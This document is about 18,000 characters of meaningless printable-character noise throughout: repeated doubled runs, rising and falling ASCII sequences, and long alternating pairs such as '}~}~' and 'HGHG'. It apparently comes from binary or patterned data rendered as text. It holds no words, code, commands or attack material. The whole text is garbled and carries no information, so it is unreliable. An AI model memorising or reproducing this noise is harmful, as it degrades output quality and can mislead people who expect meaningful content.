$$%%&&''UUTTSSRRkkllmmnn1100//..ppqqrrss1100//..ppqqrrss1100//..XXYYZZ[[``__^^]]QQRRSSTT<<;;::99 !![[ZZYYXXbccdefgh77665544jjkkllmm77665544jjkkllmm77665544jjkkllmm77665544jjkkllmm77665544jjkkllmm !!"" !!"" !!"" !!"" !!""(())**++QQPPOOIIooppqqrr--,,++**ttuuvvww--,,++**ttuuvvww--,,++**\\]]^^__\\[[ZZYYUUVVWWXX88776655""##$$%%WWVVUUTTiijjkkll33221100nnooppqq33221100nnooppqq33221100nnooppqq33221100nnooppqq33221100nnooppqq##$$%%&&~~}}||{{##$$%%&&~~}}||{{##$$%%&&~~}}||{{##$$%%&&~~}}||{{##$$%%&&~~}}||{{,,--..//HHGGFFEEssttuuvv))((''&&xxyyzz{{))((''&&xxyyzz{{))((''&&``aabbccXXWWVVUUYYZZ[[\\//..--,,     &&''(())SSRRQQPPmmnnoopp//..--,,rrssttuu//..--,,rrssttuu//..--,,rrssttuu//..--,,rrssttuu//..--,,rrssttuu''(())**zzyyxxww''(())**zzyyxxww''(())**zzyyxxww''(())**zzyyxxww''(())**zzyyxxww55667788DDCCBBAAwwxxyyzz%%$$##""||}}~~%%$$##""||}}~~%%$$##""ddeeffggTTSSRRQQ]]^^__``++**))((!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}**++,,--OOIIHHGGqqrrsstt++**))((vvwwxxyy++**))((vvwwxxyy++**))((vvwwxxyy++**))((vvwwxxyy++**))((vvwwxxyy - -++,,--..vvuuttss++,,--..vvuuttss++,,--..vvuuttss++,,--..vvuuttss++,,--..vvuuttss99::;;<<@@??>>=={{||}}~!! !! !! hhiijjkkPPOONNMMaabbccdd''&&%%$$%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy..//5566FFEEDDCCuuvvwwxx''&&%%$$zz{{||}}''&&%%$$zz{{||}}''&&%%$$zz{{||}}''&&%%$$zz{{||}}''&&%%$$zz{{||}} ~}}||{{//001122rrqqppoo//001122rrqqppoo//001122rrqqppoo//001122rrqqppoo//001122rrqqppoo==>>??@@<<;;::99llmmnnooLLKKJJIIeeffgghh##""!! ))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu778899::BBAA@@??yyzz{{||##""!! ~~##""!! ~~##""!! ~~##""!! ~~##""!! ~~zzyyxxww33445566nnmmllkk33445566nnmmllkk33445566nnmmllkk33445566nnmmllkk33445566nnmmllkkAABBCCDD88776655ppqqrrssHHGGFFEEiijjkkll--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq;;<<==>>>>==<<;;}}~ - - vvuuttss778899::jjiihhgg778899::jjiihhgg778899::jjiihhgg778899::jjiihhgg778899::jjiihhggEEFFGGHH//..--,,ttuuvvwwDDCCBBAAmmnnoopp11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm??@@AABB::998877 rrqqppoo;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddcc;;<<==>>ffeeddccIIOOPPQQ++**))((xxyyzz{{@@??>>==qqrrsstt~}}||55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjiiCCDDEEFF6655//..nnmmllkk??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__??@@AABBbbaa``__RRSSTTUU''&&%%$$ - - - - - -||}}~~<<;;::99uuvvwwxx {{zzyyxx99::;;<>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaaPPQQRRSS))((''&&      dccbbaa`GGHHIIJJZZYYXXWWGGHHIIJJZZYYXXWWGGHHIIJJZZYYXXWWGGHHIIJJZZYYXXWWGGHHIIJJZZYYXXWWZZ[[\\]]44332211}}~~ ssrrqqppAABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]TTUUVVWW%%$$##"" - -  - -  - -  - -  - - !!""##$$`__^^]]\KKLLMMNNVVUUTTSSKKLLMMNNVVUUTTSSKKLLMMNNVVUUTTSSKKLLMMNNVVUUTTSSKKLLMMNNVVUUTTSS^^__``aa00//..--oonnmmllEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYY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EYYZZ[[\\HHGGFFEEqqrrsstt>>??@@AAEEDDCCBBccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;ccddeeff>>==<<;;{{||}} - - ,,--..//UTTSSRRQ]]^^__``DDCCBBAA]]^^__``DDCCBBAA]]^^__``DDCCBBAA]]^^__``DDCCBBAA]]^^__``DDCCBBAAuuvvwwxxBBCCDDEEAA@@??>>gghhiijj::998877gghhiijj::998877gghhiijj::998877gghhiijj::998877gghhiijj::998877 55667788QPPOONMLaabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==yyzz{{|| - -FFGGHHII==<<;;::kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433kkllmmnn66554433~~ !!""##~~ !!""##~~ !!""## 99::;;<>??@@FFEEDDCCiijjkkll88776655iijjkkll88776655iijjkkll88776655iijjkkll88776655iijjkkll88776655 !! !! !! !! !!yyxxwwvvSSTTUUVV5543210/ssttuuvv..--,,++ssttuuvv..--,,++ssttuuvv..--,,++ssttuuvv..--,,++ssttuuvv..--,,++yyxxwwvv(())**++yyxxwwvv(())**++yyxxwwvv(())**++ - - AABBCCDDBBAA@@??mmnnoopp44332211mmnnoopp44332211mmnnoopp44332211mmnnoopp44332211mmnnoopp44332211~~}}||""##$$%%~~}}||""##$$%%~~}}||""##$$%%~~}}||""##$$%%~~}}||""##$$%%uuttssrrWWXXYYZZ/..--,,+wwxxyyzz**))((''wwxxyyzz**))((''wwxxyyzz**))((''wwxxyyzz**))((''wwxxyyzz**))(('' !!""#uuttssrr,,--..//uuttssrr,,--..//uuttssrr,,--..// EEFFGGHH>>==<<;;qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--{{zzyyxx&&''(()){{zzyyxx&&''(()){{zzyyxx&&''(()){{zzyyxx&&''(()){{zzyyxx&&''(())qqppoonn[[\\]]^^+**))(('{{||}}~~&&%%$$##{{||}}~~&&%%$$##{{||}}~~&&%%$$##{{||}}~~&&%%$$##{{||}}~~&&%%$$###$$%%&&'qqppoonn00112233qqppoonn00112233qqppoonn00112233{{zzyyxxQQRRSSTT77665543qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--qqrrsstt00//..--{{zzyyxx&&''(()){{zzyyxx&&''(()){{zzyyxx&&''(())nnmmllkkkkllmmnn~~ !!""##~~ !!""##wwvvuuttUUVVWWXX210//..-uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**)) !wwvvuutt**++,,--wwvvuutt**++,,--wwvvuutt**++,,--jjiiccbbooppqqrr}}||{{zz$$%%&&''}}||{{zz$$%%&&''ssrrqqppYYZZ[[\\-,,++**)yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%!""##$$%ssrrqqpp..//0011ssrrqqpp..//0011ssrrqqpp..//0011aa``__^^ssttuuvvyyxxwwvv(())**++yyxxwwvv(())**++oonnmmll]]^^__``)((''&&%}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!%&&''(()oonnmmll22334455oonnmmll22334455oonnmmll22334455]]\\[[ZZwwxxyyzz uuttssrr,,--..//uuttssrr,,--..//kkjjiiccaabbccii%$$##""!     )**++,,-kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899YYXXWWVV{{||}} - - qqppoonn00112233qqppoonn00112233bbaa``__jjkkllmm! -..//012ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==UUTTSSRR - - mmllkkjj44556677mmllkkjj44556677^^]]\\[[nnooppqq34556677ccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAQQPPOOIIiihhggff8899::;;iihhggff8899::;;ZZYYXXWWrrssttuu8899::;;__^^]]\\BBCCDDEE__^^]]\\BBCCDDEE__^^]]\\BBCCDDEEHHGGFFEEeeddccbb<<==>>??eeddccbb<<==>>??VVUUTTSSvvwwxxyy     <<==>>??[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHIIDDCCBBAAaa``__^^@@AABBCCaa``__^^@@AABBCCRRQQPPOOzz{{||}} - - - - - - - - - - }}@@AABBCCWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMM@@??>>==]]\\[[ZZDDEEFFGG]]\\[[ZZDDEEFFGGIIHHGGFF - - ||{{zzyyDDEEFFGGSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQ<<;;::99 !!YYXXWWVVHHIIJJKKYYXXWWVVHHIIJJKKEEDDCCBBxxwwvvuuHHIIJKLMOONNMMLLRRSSTTUUOONNMMLLRRSSTTUUOONNMMLLRRSSTTUU88776655""##$$%%UUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOAA@@??>>ttssrrqqNOOPPQQRKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYY//..--,,&&''(())QQPPOONNPPQQRRSSQQPPOONNPPQQRRSS==<<;;:: - - ppoonnmmRSSTTUUVGGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]++**))((**++,,--MMLLKKJJTTUUVVWWMMLLKKJJTTUUVVWW99887766 - - - - - - - - - - llkkjjiiVWWXXYYZCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aa''&&%%$$..//0011IIHHGGFFXXYYZZ[[IIHHGGFFXXYYZZ[[55//..--     ccbbaa``Z[[\\]]^??>>==<>==<>==<>``aabbccAA@@??>>``aabbcc((''&&%% !![[ZZYYXXbccdefgh77665544jjkkllmm77665544jjkkllmm77665544jjkkllmmwwvvuutt::;;<<====<<;;::ddeeffgg==<<;;::ddeeffgg$$##""!!""##$$%%WWVVUUTTiijjkkll33221100nnooppqq33221100nnooppqq33221100nnooppqqssrrqqpp>>??@@AA99887766hhiijjkk99887766hhiijjkk      &&''(())SSRRQQPPmmnnoopp//..--,,rrssttuu//..--,,rrssttuu//..--,,rrssttuu oonnmmllBBCCDDEE55443322llmmnnoo55443322llmmnnoo!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}!!""##$$~~}}**++,,--OOIIHHGGqqrrsstt++**))((vvwwxxyy++**))((vvwwxxyy++**))((vvwwxxyy - - - -kkjjiihhFFGGHHII1100//..ppqqrrss1100//..ppqqrrss%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy%%&&''((||{{zzyy..//5566FFEEDDCCuuvvwwxx''&&%%$$zz{{||}}''&&%%$$zz{{||}}''&&%%$$zz{{||}} ggffeeddJJKKLLMM--,,++**ttuuvvww--,,++**ttuuvvww ))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu))**++,,xxwwvvuu778899::BBAA@@??yyzz{{||##""!! ~~##""!! ~~##""!! ~~ccbbaa``NNOOPPQQ))((''&&xxyyzz{{))((''&&xxyyzz{{ - - ~}}--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq--..//00ttssrrqq;;<<==>>>>==<<;;}}~__^^]]\\RRSSTTUU%%$$##""||}}~~%%$$##""||}}~~||{{zzyy11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm11223344ppoonnmm??@@AABB::998877[[ZZYYXXVVWWXXYY!! !!  xxwwvvuu55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjii55667788llkkjjiiCCDDEEFF6655//.. !!""##WWVVUUTTZZ[[\\]] - - ttssrrqq99::;;<>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaa==>>??@@ddccbbaaPPQQRRSS))((''&&   (())**++OONNMMLLbbccddeellkkjjiiAABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]AABBCCDD``__^^]]TTUUVVWW%%$$##"" - -  - -  - - ,,--..//KKJJIIHHffgghhiihgfedccbEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYYEEFFGGHH\\[[ZZYYXXYYZZ[[!! 55667788GGFFEEDDjjkkllmm - - - - !!""baa``__^IIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUUIIJJKKLLXXWWVVUU\\]]^^__99::;;<>??@@??>>==<>??GGFFEEDDaabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==aabbccdd@@??>>==yyzz{{|| - -}}||{{VVWWXXYY++**))((@@AABBCCCCBBAA@@eeffgghh<<;;::99eeffgghh<<;;::99eeffgghh<<;;::99eeffgghh<<;;::99eeffgghh<<;;::99}} zzyyxxwwZZ[[\\]]''&&%%$$DDEEFFGG??>>==<=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0//0/0////.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#}~}~}~}~~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghgfefefefefefefedcdcdcdccdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0///0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#}~}~}~}~~}}}}}}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdccdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKIIIIIIJIIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#}~}~}~}~}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcccccccdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343432121212121212121/////0/00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#}~}~}}}}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343432121212121212121/0/0/0/00/0/////.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#}}~}~}~}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefedcdcccccdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIIJIJIIIIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343432121212121212121/0/0/0/00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#~}~}~}~}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefecdcdcdcddcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIIIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343432121212121212121/0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefecdcdcdcdccccdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343432121212121212121/0/0/0/0.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}}}}}}}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghgfefefefefefefefecdcdcdcddcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMLKLKLKLKLKLKLKLKIIIIIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343432121212121212121/0/0/0//.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghgfefefefefefefefecdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343432121212121212121////0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}}}}}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdcdbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121210/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefecdccccccbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKJIJIIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565656565654343434343434343212121210//////00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefedcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIIIIIIJIJIJIJHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121/0/0/0/00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcccdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIIJIJIJIIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787876565656565656565434343434343434321212121/0/0/0/00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!~}~}~}~}}~}~}~}~|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuv